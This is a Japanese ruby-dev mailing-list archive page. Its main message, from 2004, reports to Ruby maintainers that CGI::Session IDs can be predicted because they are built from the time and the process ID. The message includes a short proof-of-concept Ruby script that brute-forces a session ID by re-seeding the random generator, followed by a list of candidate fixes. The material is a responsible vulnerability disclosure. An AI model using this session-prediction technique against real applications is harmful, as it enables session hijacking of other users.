[#24112] ruby/tk crashes on bcc32 — "H.Yamamoto" <ocean@...2.ccsnet.ne.jp>

山本です。原因を追求してたのですが、力尽きました。

19 messages 2004/08/18
[#24127] Re: ruby/tk crashes on bcc32 — Hidetoshi NAGAI <nagai@...> 2004/08/19

永井@知能.九工大です.

[#24131] Re: ruby/tk crashes on bcc32 — "H.Yamamoto" <ocean@...2.ccsnet.ne.jp> 2004/08/19

山本です。

[#24135] Re: ruby/tk crashes on bcc32 — "H.Yamamoto" <ocean@...2.ccsnet.ne.jp> 2004/08/19

山本です。試行錯誤の結果、これで落ちなくなりました。

[ruby-dev:24183] CGI::Session problem again

From: Shugo Maeda <shugo@...>
Date: 2004-08-25 17:49:45 UTC
List: ruby-dev #24183
前田です。

IRCで、ゆうぞうさんに、ローカルユーザだったらプロセスIDや時刻は推測でき
るので、探索空間がかなりせまくなってしまうと指摘されました。
(random.cのseedも時刻とプロセスIDなので)

以下がゆうぞうさんの実証コードで、最大でも数十秒で破れるとのことです。

#!/usr/local/bin/ruby

require "cgi/session"
require "digest/md5"

cgi = CGI.new
sess = CGI::Session.new(cgi)
sess_id = sess.session_id

pid = $$
now = Time.now
d = String(now)
tv_sec = now.to_i

1000000.times{|tv_usec|
  srand(tv_sec ^ tv_usec ^ pid ^ 0)
  digest =

Digest::MD5.hexdigest(String(d)+String(rand(0))+String(pid)+"foobar")[0,16]
  if digest == sess_id
    p "OOPS!!"
    break
  end
}

で、対策を話していたのですが、

(1) ユーザにsrandしてもらう、あるいは"foobar"の部分を指定してもらう。
(2) /dev/urandomを使う。
(3) String(Time::now)の代りにString(Time::now.usec)を使う。

などが出たものの、眠くて正常な判断ができませんでした。

というわけで、とりあえずご報告だけしておきます。

-- 
前田 修吾

In This Thread

Prev Next